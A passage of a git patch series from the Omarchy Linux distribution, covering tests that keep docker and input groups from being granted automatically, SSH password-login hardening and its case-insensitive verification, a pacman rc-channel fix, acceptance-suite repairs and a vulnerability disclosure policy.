grep -Eq '^(docker|input)$' "$OMARCHY_PROVISIONING_DIR/groups" || + fail "default install must not record docker or input groups" [[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called without an install user" [[ ! -f $TMPDIR/groupadd.calls ]] || ! grep -F omarchy-browser-policy "$TMPDIR/groupadd.calls" >/dev/null || fail "browser-policy group is not created" grep -F -- '-d -m 0755 -o root -g root /etc/chromium/policies/managed' "$TMPDIR/install.calls" >/dev/null || fail "browser-policy directory is created root-owned" -pass "deferred provisioning records groups without calling usermod" +pass "deferred provisioning records no privileged groups" -# The docker group is root-equivalent and must never be granted automatically. -! grep -qxF docker "$OMARCHY_PROVISIONING_DIR/groups" || fail "docker group must not be recorded" -pass "docker group is not recorded at install" - -# Missing user (defensive): no usermod either. -OMARCHY_INSTALL_USER=ghost bash -eE "$ROOT/install/hardware/input-group.sh" -OMARCHY_INSTALL_USER=ghost bash -eE "$ROOT/install/config/browser-policy.sh" -[[ ! -f $TMPDIR/usermod.calls ]] || fail "usermod not called for a missing user" -pass "missing install user defers group grants" - -# Re-running never duplicates entries. -OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" -[[ $(grep -cxF input "$OMARCHY_PROVISIONING_DIR/groups") == 1 ]] || fail "input group recorded once" -OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/browser-policy.sh" -pass "group recording is idempotent" - -# Existing user: usermod applies the recorded groups, and docker is never among them. +# The same remains true when an install user already exists. OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/docker.sh" -OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/hardware/input-group.sh" OMARCHY_INSTALL_USER=existing bash -eE "$ROOT/install/config/browser-policy.sh" -grep -qx -- "-aG input existing" "$TMPDIR/usermod.calls" || fail "usermod grants input to the install user" -! grep -q -- "omarchy-browser-policy" "$TMPDIR/usermod.calls" || - fail "usermod must not grant browser-policy to the install user" -! grep -q -- "docker" "$TMPDIR/usermod.calls" || fail "usermod must not grant docker to the install user" -pass "existing install user gets input but never docker or browser-policy" +[[ ! -f $TMPDIR/usermod.calls ]] || fail "default install must not grant privileged groups" +pass "existing install user gets neither docker nor input access" + +! grep -q 'hardware/input-group.sh' "$ROOT/install/hardware/all.sh" || + fail "hardware setup must not call the removed input-group grant" +[[ ! -e $ROOT/install/hardware/input-group.sh ]] || fail "blanket input-group grant is removed" +pass "hardware setup has no blanket input-group grant" diff --git a/test/shell.d/setup-security-sshd-test.sh b/test/shell.d/setup-security-sshd-test.sh new file mode 100755 index 00000000..f61d580a --- /dev/null +++ b/test/shell.d/setup-security-sshd-test.sh @@ -0,0 +1,105 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +stub_bin="$test_dir/bin" +mkdir -p "$stub_bin" + +cat >"$stub_bin/omarchy-pkg-add" <<'STUB' +#!/bin/bash +printf 'pkg %s\n' "$*" >>"${CALL_LOG:?}" +STUB +cat >"$stub_bin/omarchy-cmd-missing" <<'STUB' +#!/bin/bash +exit 0 +STUB +cat >"$stub_bin/systemctl" <<'STUB' +#!/bin/bash +printf 'systemctl %s\n' "$*" >>"${CALL_LOG:?}" +STUB +cat >"$stub_bin/sshd" <<'STUB' +#!/bin/bash +case $1 in +-t) + [[ ${SSHD_SYNTAX_VALID:-1} == 1 ]] + ;; +-T) + printf 'passwordauthentication %s\n' "${SSHD_PASSWORD_AUTH:-no}" + printf 'kbdinteractiveauthentication %s\n' "${SSHD_KBD_AUTH:-no}" + ;; +*) + exit 2 + ;; +esac +STUB +cat >"$stub_bin/sudo" <<'STUB' +#!/bin/bash +case $1 in +install) + destination="${TEST_ROOT:?}${4:?}" + /usr/bin/mkdir -p "${destination%/*}" + /usr/bin/install -Dm644 /dev/stdin "$destination" + ;; +rm) + /usr/bin/rm -f "${TEST_ROOT:?}${3:?}" + ;; +*) + exec "$@" + ;; +esac +STUB +chmod +x "$stub_bin"/* + +ssh-keygen -q -t ed25519 -N "" -f "$test_dir/key" +public_key=$(<"$test_dir/key.pub") + +run_setup() { + local scenario="$1" + local home="$test_dir/$scenario/home" + local root="$test_dir/$scenario/root" + + mkdir -p "$home" "$root" + : >"$test_dir/$scenario.calls" + + HOME="$home" TEST_ROOT="$root" CALL_LOG="$test_dir/$scenario.calls" \ + SSHD_SYNTAX_VALID="${SSHD_SYNTAX_VALID:-1}" \ + SSHD_PASSWORD_AUTH="${SSHD_PASSWORD_AUTH:-no}" \ + SSHD_KBD_AUTH="${SSHD_KBD_AUTH:-no}" \ + PATH="$stub_bin:$PATH" \ + bash "$ROOT/bin/omarchy-setup-security-sshd" --key="$public_key" +} + +output=$(run_setup success) +config="$test_dir/success/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" +grep -qxF "PasswordAuthentication no" "$config" || fail "SSH setup disables password authentication" +grep -qxF "KbdInteractiveAuthentication no" "$config" || fail "SSH setup disables keyboard-interactive authentication" +grep -qxF "systemctl reload sshd.service" "$test_dir/success.calls" || fail "SSH setup reloads the validated config" +grep -q "Password logins are off" <<<"$output" || fail "SSH setup reports hardening after it succeeds" +pass "SSH setup authorizes a key and disables password logins" + +if SSHD_PASSWORD_AUTH=yes run_setup ineffective >"$test_dir/ineffective.output" 2>&1; then + fail "SSH setup must fail when password authentication remains effective" +fi +[[ ! -e $test_dir/ineffective/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH setup removes an ineffective hardening config" +! grep -qF "systemctl reload sshd.service" "$test_dir/ineffective.calls" || + fail "SSH setup must not reload ineffective hardening" +! grep -q "Password logins are off" "$test_dir/ineffective.output" || + fail "SSH setup must not claim ineffective hardening succeeded" +pass "SSH setup verifies the effective daemon settings" + +if SSHD_SYNTAX_VALID=0 run_setup invalid >"$test_dir/invalid.output" 2>&1; then + fail "SSH setup must fail when sshd rejects its config" +fi +[[ ! -e $test_dir/invalid/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH setup removes a rejected hardening config" +! grep -qF "systemctl reload sshd.service" "$test_dir/invalid.calls" || + fail "SSH setup must not reload a rejected config" +! grep -q "Password logins are off" "$test_dir/invalid.output" || + fail "SSH setup must not claim rejected hardening succeeded" +pass "SSH setup fails safely when sshd rejects the config" diff --git a/test/shell.d/sudoless-docker-posture-test.sh b/test/shell.d/sudoless-docker-posture-test.sh index 8b13b31a..a4d6e9fe 100644 --- a/test/shell.d/sudoless-docker-posture-test.sh +++ b/test/shell.d/sudoless-docker-posture-test.sh @@ -1,10 +1,7 @@ #!/bin/bash # -# The docker group is root-equivalent, so no automatic path may grant it. These -# tests guard the paths that are not exercised by a fresh-install run: first-boot -# provisioning replaying a recorded (or factory-snapshot) group list, and the -# Quattro upgrade. Opting in stays a deliberate, warned step -# (omarchy-setup-security-sudoless-docker). +# Docker is root-equivalent, so no automatic path may grant it. Raw input access +# is likewise excluded unless a feature that explicitly needs it is installed. set -euo pipefail @@ -13,11 +10,15 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" TMPDIR=$(mktemp -d) trap 'rm -rf "$TMPDIR"' EXIT -# First-boot provisioning must never grant docker even when it is recorded (an -# older install, or a factory snapshot predating the opt-in default). +# First-boot provisioning must not replay old privileged defaults. mkdir -p "$TMPDIR/bin" printf '#!/bin/bash\nexit 0\n' >"$TMPDIR/bin/getent" # every group "exists" -chmod +x "$TMPDIR/bin/getent" +cat >"$TMPDIR/bin/pacman" <<'STUB' +#!/bin/bash +[[ $1 == "-Qq" ]] || exit 2 +[[ " ${STUB_PACKAGES:-} " == *" $2 "* ]] +STUB +chmod +x "$TMPDIR/bin/getent" "$TMPDIR/bin/pacman" export PATH="$TMPDIR/bin:$PATH" PROVISIONING_DIR="$TMPDIR/prov" @@ -29,9 +30,15 @@ eval "$(sed -n '/^user_groups() {/,/^}/p' "$ROOT/bin/omarchy-provision-owner")" groups=$(user_groups) [[ ",$groups," == *",wheel,"* ]] || fail "user_groups always includes wheel" -[[ ",$groups," == *",input,"* ]] || fail "user_groups includes recorded non-docker groups" +[[ ",$groups," != *",input,"* ]] || fail "user_groups must not replay the blanket input grant" [[ ",$groups," == *",docker,"* ]] && fail "user_groups must never grant the docker group" -pass "first-boot user_groups includes recorded groups but never docker" +pass "first-boot user_groups replays neither privileged default" + +groups=$(STUB_PACKAGES=xpadneo-dkms user_groups) +[[ ",$groups," == *",input,"* ]] || fail "user_groups keeps input for installed controller support" +groups=$(STUB_PACKAGES=ydotool user_groups) +[[ ",$groups," == *",input,"* ]] || fail "user_groups keeps input for installed ydotool support" +pass "first-boot user_groups keeps deliberate input-group opt-ins" # The Quattro upgrade must not re-add the user to docker. if rg -q 'usermod -aG docker' "$ROOT/bin/omarchy-upgrade-to-quattro"; then From 884ca4934024fa01ed3b0de792a9ff506ea8f77e Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 13:52:06 -0400 Subject: [PATCH 165/336] Point the rc channel at the rc package repository MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit pacman-rc.conf shipped with [omarchy] on pkgs.omarchy.org/edge — a leftover from when release candidates published there. Candidates now publish to a dedicated rc channel, so a machine switched to rc with omarchy-refresh-pacman was pairing the rc Arch mirror with edge omarchy packages, and omarchy-version-channel could not name the rc repository at all (an rc install reported 'rc / unknown'). Point the conf at pkgs.omarchy.org/rc, teach omarchy-version-channel the rc repository, and repoint existing rc-channel machines with a migration. The migration only rewrites the shipped pairing (rc mirror + edge [omarchy]); an administrator's deliberate combination is kept. --- bin/omarchy-version-channel | 2 ++ default/pacman/pacman-rc.conf | 2 +- migrations/1788112314.sh | 12 ++++++++++++ 3 files changed, 15 insertions(+), 1 deletion(-) create mode 100644 migrations/1788112314.sh diff --git a/bin/omarchy-version-channel b/bin/omarchy-version-channel index 3ed4cbc3..dcd3dd61 100755 --- a/bin/omarchy-version-channel +++ b/bin/omarchy-version-channel @@ -14,6 +14,8 @@ fi if grep -q "https://pkgs.omarchy.org/stable/" /etc/pacman.conf; then pkgs="stable" +elif grep -q "https://pkgs.omarchy.org/rc/" /etc/pacman.conf; then + pkgs="rc" elif grep -q "https://pkgs.omarchy.org/edge/" /etc/pacman.conf; then pkgs="edge" else diff --git a/default/pacman/pacman-rc.conf b/default/pacman/pacman-rc.conf index cf8ca40a..66ad3fb4 100644 --- a/default/pacman/pacman-rc.conf +++ b/default/pacman/pacman-rc.conf @@ -26,4 +26,4 @@ Include = /etc/pacman.d/mirrorlist Include = /etc/pacman.d/mirrorlist [omarchy] -Server = https://pkgs.omarchy.org/edge/$arch +Server = https://pkgs.omarchy.org/rc/$arch diff --git a/migrations/1788112314.sh b/migrations/1788112314.sh new file mode 100644 index 00000000..402342ab --- /dev/null +++ b/migrations/1788112314.sh @@ -0,0 +1,12 @@ +echo "Point rc-channel installs at the rc package repository" + +# pacman-rc.conf shipped with [omarchy] pointing at the edge repository, a +# leftover from when release candidates published there. Candidates now publish +# to the dedicated rc channel, so a machine on the rc mirror was taking its +# omarchy packages from edge. Repoint only a conf that still carries the +# shipped pairing: an administrator who chose another combination keeps it. +if grep -q "https://rc-mirror.omarchy.org/" /etc/pacman.d/mirrorlist && + grep -q "^Server = https://pkgs.omarchy.org/edge/" /etc/pacman.conf; then + sudo sed -i "s|^Server = https://pkgs.omarchy.org/edge/|Server = https://pkgs.omarchy.org/rc/|" /etc/pacman.conf + echo "Switched the [omarchy] repository to the rc channel to match this machine's rc mirror." +fi From 71d7ac81ae96d628169247367e2778f23bd31a70 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 15:03:06 -0400 Subject: [PATCH 166/336] Match sshd -T keywords case-insensitively when verifying hardening OpenSSH 10.x prints configuration keywords in CamelCase in its sshd -T dump, where 9.x printed them lowercase. The case-sensitive grep in omarchy-setup-security-sshd therefore never matched on OpenSSH 10.x, so the hardening drop-in was always judged ineffective and removed, leaving password authentication enabled. --- bin/omarchy-setup-security-sshd | 6 ++++-- test/shell.d/setup-security-sshd-test.sh | 16 ++++++++++++++-- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/bin/omarchy-setup-security-sshd b/bin/omarchy-setup-security-sshd index 1f58cd3c..7b93936f 100755 --- a/bin/omarchy-setup-security-sshd +++ b/bin/omarchy-setup-security-sshd @@ -172,9 +172,11 @@ CONF # Syntax alone is insufficient because sshd uses the first value it reads for # these settings. An earlier administrator rule could leave passwords enabled. + # Match keywords case-insensitively: OpenSSH 9.x dumps them lowercase, 10.x + # in CamelCase. if ! effective_config=$(sudo sshd -T) || - ! grep -qxF "passwordauthentication no" <<<"$effective_config" || - ! grep -qxF "kbdinteractiveauthentication no" <<<"$effective_config"; then + ! grep -qixF "passwordauthentication no" <<<"$effective_config" || + ! grep -qixF "kbdinteractiveauthentication no" <<<"$effective_config"; then echo -e "\e[31msshd did not apply the password-authentication restrictions; removing the ineffective config.\e[0m" >&2 sudo rm -f "$config" return 1 diff --git a/test/shell.d/setup-security-sshd-test.sh b/test/shell.d/setup-security-sshd-test.sh index f61d580a..b060c5ec 100755 --- a/test/shell.d/setup-security-sshd-test.sh +++ b/test/shell.d/setup-security-sshd-test.sh @@ -29,8 +29,14 @@ case $1 in [[ ${SSHD_SYNTAX_VALID:-1} == 1 ]] ;; -T) - printf 'passwordauthentication %s\n' "${SSHD_PASSWORD_AUTH:-no}" - printf 'kbdinteractiveauthentication %s\n' "${SSHD_KBD_AUTH:-no}" + # OpenSSH 10.x dumps keywords in CamelCase; 9.x dumped them lowercase. + if [[ ${SSHD_DUMP_LOWERCASE:-0} == 1 ]]; then + printf 'passwordauthentication %s\n' "${SSHD_PASSWORD_AUTH:-no}" + printf 'kbdinteractiveauthentication %s\n' "${SSHD_KBD_AUTH:-no}" + else + printf 'PasswordAuthentication %s\n' "${SSHD_PASSWORD_AUTH:-no}" + printf 'KbdInteractiveAuthentication %s\n' "${SSHD_KBD_AUTH:-no}" + fi ;; *) exit 2 @@ -82,6 +88,12 @@ grep -qxF "systemctl reload sshd.service" "$test_dir/success.calls" || fail "SSH grep -q "Password logins are off" <<<"$output" || fail "SSH setup reports hardening after it succeeds" pass "SSH setup authorizes a key and disables password logins" +output=$(SSHD_DUMP_LOWERCASE=1 run_setup success-legacy) +config="$test_dir/success-legacy/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" +[[ -e $config ]] || fail "SSH setup accepts the lowercase sshd -T dump of OpenSSH 9.x" +grep -q "Password logins are off" <<<"$output" || fail "SSH setup reports hardening on OpenSSH 9.x" +pass "SSH setup verifies settings across sshd -T keyword casings" + if SSHD_PASSWORD_AUTH=yes run_setup ineffective >"$test_dir/ineffective.output" 2>&1; then fail "SSH setup must fail when password authentication remains effective" fi From 3def390764d0c36775c143aa54fc6ba4d431f551 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sun, 30 Aug 2026 13:19:11 -0600 Subject: [PATCH 167/336] Add security policy --- .github/SECURITY.md | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 .github/SECURITY.md diff --git a/.github/SECURITY.md b/.github/SECURITY.md new file mode 100644 index 00000000..bc06d2eb --- /dev/null +++ b/.github/SECURITY.md @@ -0,0 +1,43 @@ +# Security Policy + +## Report a vulnerability + +If you believe you have found a security vulnerability in Omarchy, please report it privately to the [Omarchy Security Team](https://omarchy.org/teams/#security) at [security@omarchy.org](mailto:security@omarchy.org?subject=Security%20report). + +Please do not report potential vulnerabilities publicly in GitHub Issues, Discord, or social media before they have been resolved. We aim to acknowledge reports within 24 hours and will keep you informed as we are able while we investigate and work toward a resolution. + +## What we consider a vulnerability + +We consider a bug a security vulnerability when it can be exploited to cross a meaningful security boundary: an untrusted or lower-privileged party gains access, permissions, or control they did not already have. + +Code that could be more robust but does not cross a security boundary is an improvement rather than a security vulnerability. We may still merge a proposed hardening fix and credit the reporter in our release notes. + +## What to include + +Please give us enough information to understand and reproduce the issue: + +- The affected component and Omarchy version. +- An explanation of what an attacker can do before and after exploitation. +- Steps to reproduce the issue and any proof of concept. +- Your preferred contact details for follow-up. + +## Responsible disclosure + +Please act in good faith while investigating and reporting vulnerabilities: + +- Only test systems and accounts you own or have explicit permission to test. +- Avoid privacy violations, disruption, data destruction, and service degradation. +- Do not exploit a vulnerability beyond what is needed to demonstrate it. +- Give us a reasonable opportunity to investigate and address the issue before publishing details. + +## Credit + +Researchers who privately report a confirmed security vulnerability and give us the opportunity to ship a fix are eligible for recognition on the [Omarchy security credits](https://omarchy.org/security/credits/) page. Eligibility depends on whether the report identifies a confirmed security vulnerability, not on its severity. For duplicate reports, only the first reporter is eligible for public credit. + +Accepted improvements that do not cross a security boundary may still be credited in our release notes. + +## Regular bugs and support + +For anything that is not a security vulnerability, please use the [Omarchy issue tracker](https://github.com/omacom/omarchy/issues). + +The complete public reporting guidance is available at [omarchy.org/security](https://omarchy.org/security/). From f8d7fae7a80a250634f4beaea7be0e0982be341b Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sun, 30 Aug 2026 13:26:18 -0600 Subject: [PATCH 168/336] Match website security guidance --- .github/SECURITY.md | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/.github/SECURITY.md b/.github/SECURITY.md index bc06d2eb..4eb613b9 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -1,20 +1,24 @@ -# Security Policy +# Security at Omarchy ## Report a vulnerability -If you believe you have found a security vulnerability in Omarchy, please report it privately to the [Omarchy Security Team](https://omarchy.org/teams/#security) at [security@omarchy.org](mailto:security@omarchy.org?subject=Security%20report). +If you believe you’ve found a security vulnerability in Omarchy, please tell the [Omarchy Security Team](https://omarchy.org/teams/#security) privately so we have an opportunity to investigate and fix it before it is made public. -Please do not report potential vulnerabilities publicly in GitHub Issues, Discord, or social media before they have been resolved. We aim to acknowledge reports within 24 hours and will keep you informed as we are able while we investigate and work toward a resolution. +[security@omarchy.org](mailto:security@omarchy.org?subject=Security%20report) -## What we consider a vulnerability +Please don’t report potential vulnerabilities publicly in GitHub Issues, Discord, or social media before they’ve been resolved. -We consider a bug a security vulnerability when it can be exploited to cross a meaningful security boundary: an untrusted or lower-privileged party gains access, permissions, or control they did not already have. +## What is a vulnerability? -Code that could be more robust but does not cross a security boundary is an improvement rather than a security vulnerability. We may still merge a proposed hardening fix and credit the reporter in our release notes. +We consider a bug a security vulnerability when it can be exploited to cross a meaningful security boundary: an untrusted or lower-privileged party gains access, permissions, or control they didn’t already have. + +Code that could be more robust but does not cross a security boundary is an improvement rather than a security vulnerability. We may still merge a proposed fix and credit the reporter in our release notes. + +Eligibility for our [security credits](https://omarchy.org/security/credits/) page depends on whether a report identifies a confirmed security vulnerability, not on its severity. ## What to include -Please give us enough information to understand and reproduce the issue: +Give us enough information to understand and reproduce the issue: - The affected component and Omarchy version. - An explanation of what an attacker can do before and after exploitation. @@ -27,17 +31,17 @@ Please act in good faith while investigating and reporting vulnerabilities: - Only test systems and accounts you own or have explicit permission to test. - Avoid privacy violations, disruption, data destruction, and service degradation. -- Do not exploit a vulnerability beyond what is needed to demonstrate it. +- Don’t exploit a vulnerability beyond what is needed to demonstrate it. - Give us a reasonable opportunity to investigate and address the issue before publishing details. -## Credit +We’ll review your report and keep you informed as we’re able while we work toward a resolution. -Researchers who privately report a confirmed security vulnerability and give us the opportunity to ship a fix are eligible for recognition on the [Omarchy security credits](https://omarchy.org/security/credits/) page. Eligibility depends on whether the report identifies a confirmed security vulnerability, not on its severity. For duplicate reports, only the first reporter is eligible for public credit. +## Credits -Accepted improvements that do not cross a security boundary may still be credited in our release notes. +Researchers who privately report a confirmed security vulnerability and give us the chance to ship a fix are thanked on the [security credits](https://omarchy.org/security/credits/) page. Accepted improvements that don’t cross a security boundary may still be credited in our release notes. + +Credits link to each reporter’s X profile and show their avatar. For duplicate reports, only the first reporter is eligible for credit. ## Regular bugs and support -For anything that is not a security vulnerability, please use the [Omarchy issue tracker](https://github.com/omacom/omarchy/issues). - -The complete public reporting guidance is available at [omarchy.org/security](https://omarchy.org/security/). +For anything that isn’t a security vulnerability, please use the [Omarchy issue tracker](https://github.com/omacom/omarchy/issues). From 55a3906f4c74c850c8eaf7fe4ed9523d8069230d Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 15:31:13 -0400 Subject: [PATCH 169/336] Step past the restored Unlock entry to reach Menu Bar in the menu test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Style submenu grew its Unlock entry back (d411c90a) the same day the menu acceptance test was written, so the blind Down-key walk landed on Font and picked a font instead of opening the Menu Bar submenu — the bar position assertion then timed out on every run. --- test/acceptance.d/menu-test.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/acceptance.d/menu-test.sh b/test/acceptance.d/menu-test.sh index 39f20d67..500dc1e4 100644 --- a/test/acceptance.d/menu-test.sh +++ b/test/acceptance.d/menu-test.sh @@ -75,7 +75,7 @@ wtype -k Return wait_until "style submenu is visible" 15 screen_contains "Theme" screenshot "success-menu-03-style-submenu" -wtype -k Down -k Down -k Down -k Return +wtype -k Down -k Down -k Down -k Down -k Return sleep 1 screenshot "success-menu-04-menu-bar-submenu" From e1fc50228605cb7d899b7778a8106b5beed0da7f Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 16:06:16 -0400 Subject: [PATCH 170/336] Nudge the bar over IPC when toggling visibility MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The shell notices the bar-off flag through a FileView watch on the toggles directory, and that watch can permanently stop delivering events after flag changes land in quick succession — the bar then stays parked off screen until the shell restarts. Have omarchy-toggle-bar nudge the bar's probe over IPC after flipping the flag, so the toggle no longer depends on the watch staying alive. The watch remains for other writers of the flag. --- bin/omarchy-toggle-bar | 6 ++++++ shell/plugins/bar/Bar.qml | 15 +++++++++++++++ 2 files changed, 21 insertions(+) diff --git a/bin/omarchy-toggle-bar b/bin/omarchy-toggle-bar index f76fe049..be18a647 100755 --- a/bin/omarchy-toggle-bar +++ b/bin/omarchy-toggle-bar @@ -5,3 +5,9 @@ # omarchy:examples=omarchy toggle bar | omarchy toggle bar off | omarchy toggle bar on omarchy-toggle bar-off "${1:-toggle}" + +# The shell's watch on the toggles directory can miss flag changes that land in +# quick succession, stranding the bar off screen until the shell restarts. +# Nudge the bar to re-read the flag; quiet best-effort so the toggle still +# works when the shell is not up. +omarchy-shell -q omarchy.bar syncHidden diff --git a/shell/plugins/bar/Bar.qml b/shell/plugins/bar/Bar.qml index 9e736b3f..def615af 100644 --- a/shell/plugins/bar/Bar.qml +++ b/shell/plugins/bar/Bar.qml @@ -948,6 +948,21 @@ Item { onFileChanged: barHiddenProbe.running = true } + // The directory watch can permanently stop delivering events after flag + // changes land in quick succession, stranding the bar off screen until the + // shell restarts. `omarchy-toggle-bar` nudges this after flipping the flag + // so the probe re-reads it even when the watch has gone quiet. + IpcHandler { + target: "omarchy.bar" + + // Start rather than restart: a probe already in flight was launched by the + // directory watch after the flag flipped, so its answer is current, and + // killing it here can swallow the result entirely. + function syncHidden(): void { + barHiddenProbe.running = true + } + } + Variants { model: Quickshell.screens From d6130394fa245d55cd2d75dab4c9744b58728540 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 16:06:29 -0400 Subject: [PATCH 171/336] Default the suite's OMARCHY_PATH to the running session's tree MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Run over SSH with no OMARCHY_PATH, the acceptance runner defaulted it to its own root — wrong in both sync modes omarchy-iso-test uses. With only test/ synced, the root has no shell or install manifests: omarchy-shell refuses every call and the package audit passes vacuously against an empty manifest. With a full tree synced, the path disagrees with the config path the session shell was started from, and since qs matches instances by that path, every omarchy-shell call reads as "not running". The suite acts on the running session, so ask the user manager for the session's own OMARCHY_PATH first, then fall back to this checkout, then to the installed tree. --- test/acceptance | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/test/acceptance b/test/acceptance index 192e38f0..37a63f6e 100755 --- a/test/acceptance +++ b/test/acceptance @@ -19,7 +19,22 @@ mkdir -p "$OMARCHY_ACCEPTANCE_DIR" # the session environment is inherited. export XDG_RUNTIME_DIR="${XDG_RUNTIME_DIR:-/run/user/$(id -u)}" export DBUS_SESSION_BUS_ADDRESS="${DBUS_SESSION_BUS_ADDRESS:-unix:path=$XDG_RUNTIME_DIR/bus}" -export OMARCHY_PATH="${OMARCHY_PATH:-$ROOT}" +# The suite acts on the running session, and qs matches shell instances by +# config path — pointed at any other tree, every omarchy-shell call reads as +# "not running". So default OMARCHY_PATH to the tree the session was started +# from, then this checkout for standalone use, then the installed tree for +# when only test/ was synced in (omarchy-iso-test's --sync-omarchy). +if [[ -z ${OMARCHY_PATH:-} ]]; then + OMARCHY_PATH=$(systemctl --user show-environment 2>/dev/null | sed -n 's/^OMARCHY_PATH=//p' | tail -1) +fi +if [[ -z $OMARCHY_PATH ]]; then + OMARCHY_PATH=$ROOT +fi +if [[ ! -f $OMARCHY_PATH/shell/shell.qml && -f /usr/share/omarchy/shell/shell.qml ]]; then + OMARCHY_PATH=/usr/share/omarchy +fi +export OMARCHY_PATH + export PATH="$OMARCHY_PATH/bin:$PATH" if [[ -z ${DISPLAY:-} ]]; then From d3a5e6916261bdae5b784a9fd054366571d19659 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 16:06:43 -0400 Subject: [PATCH 172/336] Fail the package audit when the manifest is missing Reading a nonexistent manifest produced an empty package list, so the audit reported every package installed after checking none of them. --- test/acceptance.d/system-test.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index 610fcb4b..0d648e9c 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -8,12 +8,17 @@ status=0 verify_core_packages() { local package + local manifest="$OMARCHY_PATH/install/omarchy-base.packages" local -a missing=() + # Without this, a missing manifest reads as an empty package list and the + # audit passes having checked nothing. + [[ -f $manifest ]] || fail "all Omarchy core packages are installed" "package manifest not found: $manifest" + while IFS= read -r package; do [[ -z $package || $package == \#* ]] && continue pacman -Q "$package" >/dev/null 2>&1 || missing+=("$package") - done <"$OMARCHY_PATH/install/omarchy-base.packages" + done <"$manifest" (( ${#missing[@]} == 0 )) || fail "all Omarchy core packages are installed" "missing packages: ${missing[*]}" pass "all Omarchy core packages are installed (${#missing[@]} missing)" From 9ca8f90e9171ea9c128811a484875ddc86ee1385 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 16:07:16 -0400 Subject: [PATCH 173/336] Capture OCR screenshots at 2x scale MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Tesseract routinely drops small caption text at native resolution — the weather panel's detail labels fail the WIND assertion with the text plainly on screen. Let the compositor upscale the capture instead. --- test/acceptance.d/base-test.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/test/acceptance.d/base-test.sh b/test/acceptance.d/base-test.sh index 717007c9..023223a1 100644 --- a/test/acceptance.d/base-test.sh +++ b/test/acceptance.d/base-test.sh @@ -36,7 +36,9 @@ screen_contains() { local text="$1" local snapshot="/tmp/omarchy-acceptance-ocr-$$.png" - if ! timeout 10 grim "$snapshot" 2>/dev/null; then + # Capture at 2x scale: tesseract routinely drops small caption text at + # native resolution (the weather panel's detail labels, for one). + if ! timeout 10 grim -s 2 "$snapshot" 2>/dev/null; then rm -f "$snapshot" return 1 fi From 99ec17acfac1d78e895f73532ee82872f316e97d Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 16:08:12 -0400 Subject: [PATCH 174/336] Cover the 4.0.2 security hardening in the acceptance suite MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Assert the closed session-to-root paths on an installed system — no blanket input-group membership, no shipped asdcontrol sudoers grant — and exercise omarchy-setup-security-sshd unattended end to end: sshd up, key authorized, password and keyboard-interactive authentication off in the effective config, SSH port rate limited in the firewall. The sshd section mutates the machine, so it requires the explicit OMARCHY_ACCEPTANCE_SUDO_PASSWORD opt-in that omarchy-iso-test passes for its throwaway VMs; elsewhere it skips. --- test/acceptance.d/security-test.sh | 105 +++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100755 test/acceptance.d/security-test.sh diff --git a/test/acceptance.d/security-test.sh b/test/acceptance.d/security-test.sh new file mode 100755 index 00000000..0755c722 --- /dev/null +++ b/test/acceptance.d/security-test.sh @@ -0,0 +1,105 @@ +#!/bin/bash +# +# Verifies the security posture of an installed system: the unprivileged +# session-to-root paths closed for 4.0.2 (blanket input-group grant, shipped +# asdcontrol sudoers authorization) and the SSH hardening flow. +# +# The sshd section reconfigures the machine (enables sshd, opens the firewall, +# disables password logins), so it demands explicit opt-in: it only runs when +# OMARCHY_ACCEPTANCE_SUDO_PASSWORD is set, which omarchy-iso-test does for its +# throwaway VMs. A cached sudo timestamp alone never triggers it, so running +# the suite on a machine you care about cannot reconfigure sshd by accident. + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +# Membership of `input` gives raw access to /dev/input/event*: any process +# running as the user could log keystrokes. Only the opt-in controller and +# 